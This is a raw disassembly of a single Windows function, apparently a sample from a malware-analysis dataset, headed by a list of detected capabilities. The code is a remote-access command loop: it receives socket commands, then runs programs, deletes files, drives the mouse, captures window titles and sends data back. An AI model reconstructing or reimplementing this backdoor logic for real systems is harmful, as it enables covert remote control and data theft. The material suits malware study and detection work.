Function at 0x13181d3c
Capabilities:
Create process on windows
Create tcp socket
Create thread
Create udp socket
Delete file
Get graphical window text
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x13b
push 0
push 0
dec ecx
jne 0x13181d44
push ecx
push ebx
push esi
push edi
mov ebx, eax
mov ecx, 0x65
lea eax, [ebp - 0x1a8]
mov edx, dword [0x13141080]
call fcn.13145ba0
mov esi, 0x1318bb90
xor eax, eax
push ebp
push 0x13182f7e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x1318bb8c]
mov edx, dword [ebx + 4]
mov dword [eax + 4], edx
mov dl, 1
mov eax, dword [0x1317d4fc]
call fcn.131442e4
mov edi, eax
mov dl, 1
mov eax, dword [0x1317e504]
call fcn.131442e4
mov dword [ebp - 0x1c0], eax
mov dl, 1
mov eax, dword [0x1317d018]
call fcn.131442e4
mov dword [ebp - 0x1bc], eax
mov dl, 1
mov eax, dword [0x13178f98]
call fcn.131442e4
mov dword [ebp - 0x1b8], eax
mov dl, 1
mov eax, dword [0x1317c880]
call fcn.131442e4
mov dword [ebp - 0x1b4], eax
push 0
push 0x640
lea eax, [ebp - 0x83d]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_recv
test eax, eax
jle 0x13182f0c
lea eax, [ebp - 4]
lea edx, [ebp - 0x83d]
mov ecx, 0x641
call fcn.131453b0
lea eax, [ebp - 0x83d]
xor ecx, ecx
mov edx, 0x641
call fcn.13143964
jmp case.0x13181ea2.17
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x13182f94
call fcn.131456c0
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.13145638
mov edx, dword [ebp - 4]
mov eax, 0x13182f94
call fcn.131456c0
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.13145678
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.1318001c
lea edx, [ebp - 0x1a8]
mov ecx, 0x64
mov eax, dword [ebp - 8]
call fcn.13180088
mov eax, dword [ebp - 0xc]
call fcn.1317c0c0
cmp eax, 0x32
jg 0x13181f41
je 0x1318222a
add eax, 0xfffffff5
cmp eax, 0x25
ja case.0x13181ea2.17
jmp dword [eax*4 + 0x13181ea9]
cmp eax, 0x73
jg 0x13181fb1
je 0x131821be
cmp eax, 0x6e
jg 0x13181f8e
je 0x13182947
cmp eax, 0x58
jg 0x13181f79
je 0x131828d3
sub eax, 0x3a
je 0x1318285d
sub eax, 0x13
je 0x131827db
jmp case.0x13181ea2.17
sub eax, 0x5e
je 0x1318293d
dec eax
je 0x1318281e
jmp case.0x13181ea2.17
sub eax, 0x6f
je 0x131829a4
dec eax
je 0x131829bd
dec eax
je 0x131829d6
dec eax
je 0x131829f8
jmp case.0x13181ea2.17
cmp eax, 0xca
jg 0x13181ff7
je 0x13182b22
cmp eax, 0x79
jg 0x13181fe0
je 0x131824c4
sub eax, 0x74
je 0x131820e5
sub eax, 4
je 0x13182484
jmp case.0x13181ea2.17
sub eax, 0xc8
je 0x13182ad9
dec eax
je 0x13182aec
jmp case.0x13181ea2.17
sub eax, 0x12c
je 0x13182a1a
sub eax, 4
je 0x13182b37
sub eax, 0x60
je 0x13182bf9
sub eax, 2
je 0x13182e9b
jmp case.0x13181ea2.17
mov edx, dword [ebx + 4]
mov eax, dword [0x1318bd90]
call fcn.1317ac80
lea eax, [ebp - 8]
mov ecx, 3
mov edx, 1
call fcn.13145678
mov eax, dword [ebp - 8]
call fcn.13180194
test al, al
je case.0x13181ea2.17
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.13181634
mov eax, 9
call fcn.1314332c
inc eax
imul eax, eax, 0x3e8
push eax
mov eax, 0x1f4
call fcn.1314332c
pop edx
add edx, eax
mov dword [ebp - 0x1ac], edx
mov eax, esi
mov edx, dword [ebp - 8]
call fcn.13145194
lea edx, [ebp - 0x948]
mov eax, dword [ebx + 4]
call fcn.131816d8
mov edx, dword [ebp - 0x948]
lea eax, [esi + 4]
call fcn.13145194
mov eax, dword [0x13186cf0]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1ac]
mov dword [esi + 0x14], eax
mov eax, dword [ebp - 8]
call fcn.13180444
mov dword [esi + 0x10], eax
lea eax, [ebp - 0x1b0]
push eax
push 0
push esi
push 0x1318141c
push 0
push 0
call sub.kernel32.dll_CreateThread
jmp case.0x13181ea2.17
mov eax, dword [ebp - 0x1a8]
call fcn.13180194
test al, al
je case.0x13181ea2.17
mov eax, esi
mov edx, dword [ebp - 0x1a8]
call fcn.13145194
lea edx, [ebp - 0x94c]
mov eax, dword [ebx + 4]
call fcn.131816d8
mov edx, dword [ebp - 0x94c]
lea eax, [esi + 4]
call fcn.13145194
mov eax, dword [0x13186cf0]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1a4]
call fcn.1317c0c0
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x1b0]
push eax
push 0
push esi
push 0x131811a4
push 0
push 0
call sub.kernel32.dll_CreateThread
jmp case.0x13181ea2.17
mov eax, esi
mov edx, dword [ebp - 0x1a4]
call fcn.13145194
lea edx, [ebp - 0x950]
mov eax, dword [ebx + 4]
call fcn.131816d8
mov edx, dword [ebp - 0x950]
lea eax, [esi + 4]
call fcn.13145194
mov eax, dword [0x13186cf0]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
mov dword [esi + 0xc], eax
lea eax, [esi + 0x24]
mov edx, dword [ebp - 0x1a0]
call fcn.13145194
lea eax, [ebp - 0x1b0]
push eax
push 0
push esi
push 0x131801c8
push 0
push 0
call sub.kernel32.dll_CreateThread
jmp case.0x13181ea2.17
push 0x13182fa0
push 0
call sub.user32.dll_GetSystemMetrics
cdq
push edx
push eax
lea eax, [ebp - 0x958]
call fcn.1317c05c
push dword [ebp - 0x958]
push 0x13182fac
push 1
call sub.user32.dll_GetSystemMetrics
cdq
push edx
push eax
lea eax, [ebp - 0x95c]
call fcn.1317c05c
push dword [ebp - 0x95c]
push 0x13182fac
push 0x13182f94
lea eax, [ebp - 0x954]
mov edx, 6
call fcn.131454d4
mov edx, dword [ebp - 0x954]
mov eax, ebx
call fcn.13183058
jmp case.0x13181ea2.17
lea edx, [ebp - 0x960]
mov eax, dword [ebx + 4]
call fcn.131816d8
mov edx, dword [ebp - 0x960]
lea eax, [esi + 4]
call fcn.13145194
mov eax, dword [0x13186cf0]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x1b0]
push eax
push 0
push esi
push 0x1318074c
push 0
push 0
call sub.kernel32.dll_CreateThread
jmp case.0x13181ea2.17
push 0
push 0xc
lea eax, [ebp - 0x964]
call fcn.1317c05c
push dword [ebp - 0x964]
push 0x13182fac
lea edx, [ebp - 0x968]
mov eax, dword [ebp - 0x1b4]
call fcn.1317c964
push dword [ebp - 0x968]
push 0x13182f94
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.131454d4
lea eax, [ebp - 0x10]
call fcn.13145630
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
je 0x131822ed
mov eax, dword [ebp - 0x1c4]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x1c4], eax
push 0
mov eax, dword [ebp - 0x1c4]
push eax
mov eax, dword [ebp - 0x1c8]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_send
jmp case.0x13181ea2.17
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1a8]
call fcn.131456c0
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
je 0x13182342
mov eax, dword [ebp - 0x1cc]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x1cc], eax
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x1cc]
mov edx, dword [ebp - 0x1d0]
mov eax, dword [ebp - 8]
call fcn.13145638
mov eax, dword [ebx + 4]
push eax
mov eax, dword [0x13186e4c]
mov eax, dword [eax]
mov ecx, 1
mov edx, dword [ebp - 8]
call fcn.1317ca0c
mov eax, dword [ebx + 4]
push eax
mov eax, dword [0x13186e4c]
mov eax, dword [eax]
mov ecx, 2
mov edx, dword [ebp - 8]
call fcn.1317ca0c
push 0
push 0xd
lea eax, [ebp - 0x96c]
call fcn.1317c05c
push dword [ebp - 0x96c]
push 0x13182fac
push dword [ebp - 8]
mov eax, 0x1318bbc4
mov edx, 3
call fcn.131454d4
cmp dword [0x1318bbc4], 0
je 0x13182411
mov eax, dword [0x1318bbc4]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0
je 0x131823f0
mov eax, dword [ebp - 0x1d8]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x1d8], eax
mov eax, dword [0x1318bbc4]
mov edx, dword [ebp - 0x1d8]
cmp byte [eax + edx - 1], 0x5c
je 0x13182411
mov eax, 0x1318bbc4
mov edx, 0x13182fb8
call fcn.1314540c
mov eax, 0x1318bbc4
mov edx, 0x13182f94
call fcn.1314540c
jmp case.0x13181ea2.17
mov eax, 0x1318bbc4
call fcn.13145630
mov dword [ebp - 0x1e4], eax
mov eax, dword [0x1318bbc4]
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp - 0x1dc]
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0
je 0x13182466
mov eax, dword [ebp - 0x1e0]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x1e0], eax
push 0
mov eax, dword [ebp - 0x1e0]
push eax
mov eax, dword [ebp - 0x1e4]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_send
jmp case.0x13181ea2.17
push 0
push 0
push 0
push 0
push 2
call sub.user32.dll_mouse_event
push 0
push 0
push 0
push 0
push 4
call sub.user32.dll_mouse_event
mov eax, dword [ebp - 0x1a4]
call fcn.1317c0c0
push eax
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
push eax
call sub.user32.dll_SetCursorPos
jmp case.0x13181ea2.17
push 0
push 0
push 0
push 0
push 8
call sub.user32.dll_mouse_event
push 0
push 0
push 0
push 0
push 0x10
call sub.user32.dll_mouse_event
mov eax, dword [ebp - 0x1a4]
call fcn.1317c0c0
push eax
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
push eax
call sub.user32.dll_SetCursorPos
jmp case.0x13181ea2.17
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1a4]
call fcn.131456c0
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0
je 0x1318253b
mov eax, dword [ebp - 0x1e8]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x1e8], eax
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x1ec]
mov eax, dword [ebp - 8]
call fcn.13145638
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
push eax
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.131455d0
push eax
push 0x13182fbc
push 0
call sub.shell32.dll_ShellExecuteA_1
jmp case.0x13181ea2.17
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1a8]
call fcn.131456c0
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0
je 0x131825b4
mov eax, dword [ebp - 0x1f0]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x1f0], eax
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x1f0]
mov edx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 8]
call fcn.13145638
mov eax, dword [ebp - 8]
call fcn.131455d0
mov edx, eax
lea eax, [ebp - 0x970]
call fcn.13145338
mov eax, dword [ebp - 0x970]
call fcn.131455d0
push eax
call sub.kernel32.dll_DeleteFileA
jmp case.0x13181ea2.17
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
call fcn.13181704
jmp case.0x13181ea2.17
mov eax, dword [ebp - 0x1a8]
call fcn.13181c48
jmp case.0x13181ea2.17
lea edx, [ebp - 0x974]
mov eax, dword [ebx + 4]
call fcn.131816d8
mov edx, dword [ebp - 0x974]
lea eax, [esi + 4]
call fcn.13145194
mov eax, dword [0x13186cf0]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x1b0]
push eax
push 0
push esi
push 0x13177c2c
push 0
push 0
call sub.kernel32.dll_CreateThread
jmp case.0x13181ea2.17
call fcn.13177b90
jmp case.0x13181ea2.17
mov dword [0x1318bbf0], 1
cmp dword [0x1318bbe4], 0
jne case.0x13181ea2.17
mov edx, 0x13182fcc
mov eax, ebx
call fcn.13183058
jmp case.0x13181ea2.17
xor eax, eax
mov dword [0x1318bbf0], eax
jmp case.0x13181ea2.17
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_closesocket
push 0
call sub.kernel32.dll_ExitProcess_1
mov edx, dword [ebx + 4]
mov eax, dword [0x1318bd90]
call fcn.1317ac80
lea eax, [ebp - 0x978]
push eax
mov ecx, dword [ebx + 4]
mov edx, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x1b8]
call fcn.131794f4
push 0x64
call sub.kernel32.dll_Sleep_2
lea eax, [ebp - 0x97c]
push eax
mov ecx, dword [ebx + 4]
mov edx, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x1b8]
call fcn.13178ff4
jmp case.0x13181ea2.17
lea edx, [ebp - 0x980]
mov eax, dword [ebx + 4]
call fcn.131816d8
mov edx, dword [ebp - 0x980]
lea eax, [esi + 4]
call fcn.13145194
mov eax, dword [0x13186cf0]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x1b0]
push eax
push 0
push esi
push 0x13180efc
push 0
push 0
call sub.kernel32.dll_CreateThread
jmp case.0x13181ea2.17
push 0x13182ff4
lea eax, [ebp - 0x988]
call fcn.13176b8c
push dword [ebp - 0x988]
push 0x13182f94
lea eax, [ebp - 0x984]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x984]
mov eax, ebx
call fcn.13183058
jmp case.0x13181ea2.17
push 0x13183000
lea eax, [ebp - 0x990]
call fcn.13176df0
push dword [ebp - 0x990]
push 0x13182f94
lea eax, [ebp - 0x98c]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x98c]
mov eax, ebx
call fcn.13183058
jmp case.0x13181ea2.17
push 0x1318300c
lea edx, [ebp - 0x998]
mov eax, dword [ebp - 0x1bc]
call fcn.1317d344
push dword [ebp - 0x998]
push 0x13182f94
lea eax, [ebp - 0x994]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x994]
mov eax, ebx
call fcn.13183058
jmp case.0x13181ea2.17
push 0x13183018
lea edx, [ebp - 0x9a0]
mov eax, edi
call fcn.1317d700
push dword [ebp - 0x9a0]
push 0x13182f94
lea eax, [ebp - 0x99c]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x99c]
mov eax, ebx
call fcn.13183058
jmp case.0x13181ea2.17
mov edx, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x1b8]
call fcn.131797f0
jmp case.0x13181ea2.17
lea eax, [esi + 4]
mov edx, dword [ebp - 0x1a8]
call fcn.13145194
mov eax, dword [0x13186cf0]
mov dword [esi + 8], eax
lea edx, [ebp - 0x9a4]
mov eax, dword [0x1318bd90]
call fcn.1317a728
push dword [ebp - 0x9a4]
push 0x13182fb8
push dword [ebp - 0x1a4]
mov eax, esi
mov edx, 3
call fcn.131454d4
lea eax, [ebp - 0x1b0]
push eax
push 0
push esi
push 0x1317fc60
push 0
push 0
call sub.kernel32.dll_CreateThread
jmp case.0x13181ea2.17
lea edx, [ebp - 0x9a8]
mov eax, dword [ebx + 4]
call fcn.131816d8
mov edx, dword [ebp - 0x9a8]
lea eax, [esi + 4]
call fcn.13145194
mov eax, dword [0x13186cf0]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1a0]
call fcn.1317c0c0
mov dword [esi + 0xc], eax
mov eax, esi
mov edx, dword [ebp - 0x1a8]
call fcn.13145194
mov eax, dword [ebp - 0x1a4]
call fcn.1317c0c0
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x1b0]
push eax
push 0
push esi
push 0x1318192c
push 0
push 0
call sub.kernel32.dll_CreateThread
jmp case.0x13181ea2.17
call fcn.1317fed8
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
mov edx, eax
mov eax, edi
call fcn.1317d554
push 0xc8
call sub.kernel32.dll_Sleep_2
push 0x13183018
lea edx, [ebp - 0x9b0]
mov eax, edi
call fcn.1317d700
push dword [ebp - 0x9b0]
push 0x13182f94
lea eax, [ebp - 0x9ac]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x9ac]
mov eax, ebx
call fcn.13183058
jmp case.0x13181ea2.17
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
mov edx, eax
mov eax, edi
call fcn.1317d564
jmp case.0x13181ea2.17
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
mov edx, eax
mov eax, edi
call fcn.1317d570
jmp case.0x13181ea2.17
push 0xffffffffffffffff
lea eax, [ebp - 0x9b4]
push eax
or ecx, 0xffffffff
mov edx, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x1bc]
call fcn.1317d258
jmp case.0x13181ea2.17
push 0
lea eax, [ebp - 0x9b8]
push eax
or ecx, 0xffffffff
mov edx, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x1bc]
call fcn.1317d258
jmp case.0x13181ea2.17
push dword [0x13186cf4]
push 0x13182fac
mov eax, dword [0x13186cf0]
cdq
push edx
push eax
lea eax, [ebp - 0x9bc]
call fcn.1317c05c
push dword [ebp - 0x9bc]
push 0x13182fac
lea eax, [ebp - 0x9c0]
call fcn.13181ca0
push dword [ebp - 0x9c0]
push 0x13182fac
push dword [0x13186cec]
push 0x13182fac
lea eax, [ebp - 8]
mov edx, 8
call fcn.131454d4
push dword [ebp - 8]
lea edx, [ebp - 0x9c4]
mov eax, dword [0x1318bd90]
call fcn.1317a4e0
push dword [ebp - 0x9c4]
lea edx, [ebp - 0x9c8]
mov eax, dword [0x13186d74]
mov eax, dword [eax]
call fcn.1317b7b4
push dword [ebp - 0x9c8]
push 0x13182f94
lea eax, [ebp - 8]
mov edx, 4
call fcn.131454d4
lea eax, [ebp - 0x9cc]
mov ecx, dword [ebp - 8]
mov edx, 0x13183024
call fcn.13145458
mov edx, dword [ebp - 0x9cc]
mov eax, ebx
call fcn.13183058
jmp case.0x13181ea2.17
mov edx, dword [ebx + 4]
mov eax, dword [ebp - 0x1c0]
call fcn.1317e8f4
jmp case.0x13181ea2.17
push dword [ebp - 0x1a8]
push 0x13183034
push 0x13182f94
lea eax, [ebp - 0x9d0]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x9d0]
mov eax, dword [ebp - 0x1c0]
call fcn.1317e934
jmp case.0x13181ea2.17
mov edx, 0x13183040
mov eax, dword [ebp - 0x1c0]
call fcn.1317e934
jmp case.0x13181ea2.17
push 0x105
lea eax, [ebp - 0x942]
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x9d4]
lea edx, [ebp - 0x942]
mov ecx, 0x105
call fcn.131453b0
mov edx, dword [ebp - 0x9d4]
mov eax, dword [ebp - 0x14]
call fcn.13145568
je case.0x13181ea2.17
lea eax, [ebp - 0x14]
lea edx, [ebp - 0x942]
mov ecx, 0x105
call fcn.131453b0
push 0x13183050
push dword [ebp - 0x14]
push 0x13182f94
lea eax, [ebp - 8]
mov edx, 3
call fcn.131454d4
lea eax, [ebp - 8]
call fcn.13145630
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0
je 0x13182bd6
mov eax, dword [ebp - 0x1f8]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x1f8], eax
push 0
mov eax, dword [ebp - 0x1f8]
push eax
mov eax, dword [ebp - 0x1fc]
push eax
mov eax, dword [0x1318bb8c]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
jmp case.0x13181ea2.17
lea edx, [ebp - 0x9d8]
mov eax, dword [ebx + 4]
call fcn.131816d8
mov edx, dword [ebp - 0x9d8]
lea eax, [esi + 4]
call fcn.13145194
mov eax, dword [0x13186cf0]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1a8]
call fcn.1317c0c0
mov dword [esi + 0x14], eax
mov eax, dword [0x1318bb84]
mov edx, dword [esi + 0x14]
mov dword [eax + 0x115c], edx
mov eax, dword [0x1318bb84]
add eax, 0x1150
mov edx, dword [esi + 4]
call fcn.13145194
mov eax, dword [0x1318bb84]
mov edx, dword [esi + 8]
mov dword [eax + 0x1154], edx
mov eax, dword [0x1318bb84]
add eax, 0x18
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov edx, dword [0x1318bb84]
mov dword [edx + 4], eax
mov eax, dword [0x1318bb84]
mov word [eax + 8], 2
mov eax, dword [0x1318bb84]
movzx eax, word [eax + 0x1154]
push eax
call sub.wsock32.dll_htons
mov edx, dword [0x1318bb84]
mov word [edx + 0xa], ax
mov eax, dword [0x1318bb84]
mov eax, dword [eax + 0x1150]
call fcn.131455d0
push eax
call sub.wsock32.dll_inet_addr
mov edx, dword [0x1318bb84]
mov dword [edx + 0xc], eax
mov eax, dword [ebp - 0x1a4]
call fcn.1317c0c0
mov edx, dword [0x1318bb84]
mov word [edx + 0x1160], ax
mov eax, dword [ebp - 0x1a0]
call fcn.1317c0c0
mov edx, dword [0x1318bb84]
mov word [edx + 0x1162], ax
mov eax, dword [ebp - 0x19c]
call fcn.1317c0c0
mov edx, dword [0x1318bb84]
mov dword [edx + 0x1164], eax
mov eax, dword [ebp - 0x198]
call fcn.1317c0c0
mov edx, dword [0x1318bb84]
mov dword [edx + 0x1168], eax
mov eax, dword [ebp - 0x194]
call fcn.1317c0c0
mov edx, dword [0x1318bb84]
mov word [edx + 0x116c], ax
mov eax, dword [ebp - 0x190]
call fcn.1317c0c0
mov edx, dword [0x1318bb84]
mov word [edx + 0x116e], ax
mov eax, dword [ebp - 0x18c]
call fcn.1317c0c0
mov edx, dword [0x1318bb84]
mov word [edx + 0x1170], ax
mov eax, dword [0x1318bb84]
mov byte [eax + 0x117c], 0
mov eax, dword [0x1318bb84]
add eax, 0x1180
call fcn.13145140
mov eax, dword [0x1318bb84]
mov eax, dword [eax + 0x1174]
mov edx, dword [eax + 0xf8]
mov eax, dword [0x1318bb84]
mov eax, dword [eax + 0x1178]
call fcn.13148830
mov eax, dword [0x1318bb84]
movzx eax, word [eax + 0x1162]
mov edx, dword [0x1318bb84]
mov edx, dword [edx + 0x1174]
mov word [edx + 0x15e], ax
mov eax, dword [0x1318bb84]
mov eax, dword [eax + 0x1164]
mov edx, dword [0x1318bb84]
mov edx, dword [edx + 0x1174]
mov dword [edx + 0x160], eax
mov eax, dword [0x1318bb84]
mov eax, dword [eax + 0x1168]
mov edx, dword [0x1318bb84]
mov edx, dword [edx + 0x1174]
mov dword [edx + 0x164], eax
mov eax, dword [0x1318bb84]
movzx eax, word [eax + 0x116c]
mov edx, dword [0x1318bb84]
mov edx, dword [edx + 0x1174]
mov word [edx + 0x168], ax
mov eax, dword [0x1318bb84]
movzx eax, word [eax + 0x116e]
mov edx, dword [0x1318bb84]
mov edx, dword [edx + 0x1174]
mov word [edx + 0x16a], ax
mov eax, dword [0x1318bb84]
mov eax, dword [eax + 0x1174]
mov edx, dword [eax + 0x164]
mov eax, dword [0x1318bb84]
mov eax, dword [eax + 0x1174]
call fcn.131480e0
mov eax, dword [0x1318bb84]
mov eax, dword [eax + 0x1174]
mov edx, dword [eax + 0xf8]
mov eax, dword [0x1318bb84]
mov eax, dword [eax + 0x1178]
call fcn.13148830
lea eax, [ebp - 0x1b0]
push eax
push 0
push esi
push 0x13180cb0
push 0
push 0
call sub.kernel32.dll_CreateThread
jmp case.0x13181ea2.17
mov eax, esi
mov edx, dword [ebp - 0x1a8]
call fcn.13145194
lea edx, [ebp - 0x9dc]
mov eax, dword [ebx + 4]
call fcn.131816d8
mov edx, dword [ebp - 0x9dc]
lea eax, [esi + 4]
call fcn.13145194
mov eax, dword [0x13186cf0]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1a4]
call fcn.1317c0c0
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x1b0]
push eax
push 0
push esi
push 0x131804e4
push 0
push 0
call sub.kernel32.dll_CreateThread
mov edx, dword [ebp - 4]
mov eax, 0x13182f94
call fcn.131456c0
test eax, eax
jg 0x13181e24
jmp 0x13181ddb
mov eax, dword [ebp - 0x1b4]
call fcn.13144314
mov eax, dword [ebp - 0x1bc]
call fcn.13144314
mov eax, dword [ebp - 0x1b8]
call fcn.13144314
mov eax, edi
call fcn.13144314
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13182f85
lea eax, [ebp - 0x9dc]
mov edx, 0x26
call fcn.13145164
lea eax, [ebp - 0x1a8]
mov ecx, 0x65
mov edx, dword [0x13141080]
call fcn.13145c8c
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.13145164
ret